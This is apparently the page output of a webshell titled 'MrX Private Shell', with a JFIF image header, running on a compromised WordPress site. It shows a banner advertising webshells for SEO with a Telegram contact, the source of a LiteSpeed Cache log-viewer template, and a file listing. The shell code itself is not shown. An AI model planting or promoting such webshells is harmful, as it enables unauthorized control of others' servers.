����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* LiteSpeed Cache Log Viewer
*
* Renders the log viewer interface for LiteSpeed Cache, displaying debug, purge, and crawler logs with options to copy or clear logs.
*
* @package LiteSpeed
* @since 4.7
*/
namespace LiteSpeed;
defined( 'WPINC' ) || exit;
$logs = array(
array(
'name' => 'debug',
'label' => esc_html__( 'Debug Log', 'litespeed-cache' ),
'accesskey' => 'A',
),
array(
'name' => 'purge',
'label' => esc_html__( 'Purge Log', 'litespeed-cache' ),
'accesskey' => 'B',
),
array(
'name' => 'crawler',
'label' => esc_html__( 'Crawler Log', 'litespeed-cache' ),
'accesskey' => 'C',
),
);
?>
<h3 class="litespeed-title">
<?php esc_html_e( 'LiteSpeed Logs', 'litespeed-cache' ); ?>
<?php Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#log-view-tab' ); ?>
</h3>
<div class="litespeed-log-subnav-wrapper">
<?php foreach ( $logs as $log ) : ?>
<a href="#<?php echo esc_attr( $log['name'] ); ?>_log" class="button button-secondary" data-litespeed-subtab="<?php echo esc_attr( $log['name'] ); ?>_log" litespeed-accesskey="<?php echo esc_attr( $log['accesskey'] ); ?>">
<?php echo esc_html( $log['label'] ); ?>
</a>
<?php endforeach; ?>
<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DEBUG2, Debug2::TYPE_CLEAR_LOG ) ); ?>" class="button button-primary" litespeed-accesskey="D">
<?php esc_html_e( 'Clear Logs', 'litespeed-cache' ); ?>
</a>
</div>
<?php
foreach ( $logs as $log ) :
$file = $this->cls( 'Debug2' )->path( $log['name'] );
$lines = File::count_lines( $file );
$max_lines = apply_filters( 'litespeed_debug_show_max_lines', 1000 );
$start = $lines > $max_lines ? $lines - $max_lines : 0;
$lines = File::read( $file, $start );
$lines = $lines ? trim( implode( "\n", $lines ) ) : '';
$log_body_id = 'litespeed-log-' . esc_attr( $log['name'] );
?>
<div class="litespeed-log-view-wrapper" data-litespeed-sublayout="<?php echo esc_attr( $log['name'] ); ?>_log">
<h3 class="litespeed-title">
<?php echo esc_html( $log['label'] ); ?>
<a href="#<?php echo esc_attr( $log['name'] ); ?>_log" class="button litespeed-info-button litespeed-wrap" onClick="litespeed_copy_to_clipboard('<?php echo esc_js( $log_body_id ); ?>', this)" aria-label="<?php esc_attr_e( 'Click to copy', 'litespeed-cache' ); ?>" data-balloon-pos="down">
<?php esc_html_e( 'Copy Log', 'litespeed-cache' ); ?>
</a>
<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DEBUG2, Debug2::TYPE_DOWNLOAD_LOG, false, null, [ 'log' => $log['name'] ] ) ); ?>" class="button litespeed-info-button litespeed-wrap" aria-label="<?php esc_attr_e( 'Click to download', 'litespeed-cache' ); ?>" data-balloon-pos="down">
<?php esc_html_e( 'Download', 'litespeed-cache' ); ?>
</a>
</h3>
<div class="litespeed-log-body" id="<?php echo esc_attr( $log_body_id ); ?>">
<?php echo nl2br( esc_html( $lines ) ); ?>
</div>
</div>
<?php endforeach; ?>
<a href="<?php echo esc_url( Utility::build_url( Router::ACTION_DEBUG2, Debug2::TYPE_CLEAR_LOG ) ); ?>" class="button button-primary">
<?php esc_html_e( 'Clear Logs', 'litespeed-cache' ); ?>
</a>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| beta_test.tpl.php | File | 3.9 KB | 0644 |
|
| edit_htaccess.tpl.php | File | 3.52 KB | 0644 |
|
| entry.tpl.php | File | 1.69 KB | 0644 |
|
| heartbeat.tpl.php | File | 4.34 KB | 0644 |
|
| import_export.tpl.php | File | 2.68 KB | 0644 |
|
| log_viewer.tpl.php | File | 3.12 KB | 0644 |
|
| purge.tpl.php | File | 11.7 KB | 0644 |
|
| report.tpl.php | File | 6.35 KB | 0644 |
|
| settings-debug.tpl.php | File | 6.46 KB | 0644 |
|